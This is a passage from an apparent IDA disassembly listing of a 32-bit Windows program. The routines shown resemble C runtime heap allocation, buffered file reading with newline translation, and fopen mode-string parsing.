		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2670443h
		nop
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------


loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD040[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4D0


loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h


loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD140
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD040h[eax*4]
		mov	eax, dword_4DD040[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 271129Ah
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 269086Bh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78


loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------


loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh


loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E


loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------


loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 271129Ah
		nop
		test	eax, eax
		jnz	short loc_41FB25
		nop
		call	near ptr 269086Bh
		test	eax, eax
		jnz	short loc_41FB6C


loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57


loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------


loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70


loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi


loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------


loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al


loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------


loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh


loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE44
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFB0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------


loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h


loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2


loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx


loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8


loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------


loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E


loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------


loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFAC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD3D	proc near		; CODE XREF: sub_41BE82p
		mov	edx, dword_4DD020
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41FDAE
		mov	ebx, dword_4DC01C
		mov	edi, ebx


